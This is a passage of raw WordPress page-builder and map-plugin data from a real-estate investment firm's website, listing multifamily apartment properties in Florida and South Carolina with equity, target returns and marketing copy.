background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, 